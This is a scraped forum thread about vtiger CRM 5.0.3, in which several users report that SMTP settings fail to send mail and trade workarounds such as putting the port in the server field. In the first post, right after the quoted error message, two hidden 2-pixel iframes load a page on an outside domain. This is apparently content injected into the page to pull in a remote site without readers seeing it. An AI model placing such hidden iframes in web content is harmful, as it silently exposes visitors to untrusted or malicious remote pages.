SMTP configuration

edited January 2013 in Help - 5.0.3 Vote Up0Vote Down
I am trying to configure SMTP with my test account which need authentication, but I continue to get this message:

Mail could not be sent to the admin user. Please check the admin emailid/Server settings <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>; <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>;
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  • i am getting exactly the same error, using a windows xp server, using the official package provided by vtiger.

    can anyone on the development team comment on this? this is an absolutely critical bug which is preventing roll out to a customer. this worked just fine under 5.0.2. i was so hoping that 5.0.3 would solve all of the small niggling problems that was preventing us from going in to a production environment, but it is simply unusable without this feature.

    help!
  • just tested on the vtiger hosted demo - problem also occurs. will log in trac as a bug.
  • i am getting the same error as devis setting up the outgoing mail server.

    running:
    apache version 1.3.37
    php version 4.4.6
    mysql version 4.1.21-standard

    is there a temporary work-around until a fix is out?
  • any feedback on this one, i'm getting the same on a new install of 5.0.3 also.
  • the same here...
  • hi all,

    to maintainers: please, add a port field in the smtp settings page ... because server, user, pwd and req-auth is not enought !

    thank's a lot
  • i've tried to look at the code to see if i can fix this but i just cannot figure out what routine is used for saving the settings <!-- s:( --><img src="{smilies_path}/icon_sad.gif" alt=":(" title="sad" /><!-- s:( --> if i could see the function it was using then perhaps i could figure it out, but... anybody have any ideas? this is absolutely desperate for me.
  • the same here...
    except on uniformserver http://www.uniformserver.com

    "dear admin,

    this is a test mail sent to confirm if a mail is actually being sent through the smtp server that you have configured.
    feel free to delete this mail.

    thanks and regards,
    team vtiger "
  • hi all,

    to maintainers: please, add a port field in the smtp settings page ... because server, user, pwd and req-auth is not enought !

    thank's a lot

    you can always enter the port number in the server field like this:

    mail.abd123.com:9999

    that should work, because in previous versions 4.2.3 and 5.0.2, it worked fine. now the issue seems to be setting the server information and having the application use it to send.
  • you can always enter the port number in the server field like this:

    mail.abd123.com:9999

    that should work, because in previous versions 4.2.3 and 5.0.2, it worked fine. now the issue seems to be setting the server information and having the application use it to send.

    i just tried this on v 5.0.3 and it didn't work so maybe the problem is a little more complicated.

    it was my understanding that the release of version 5.0.3 was delayed as long as it was in order to insure there were no more email problems. this is not an encouraging start.
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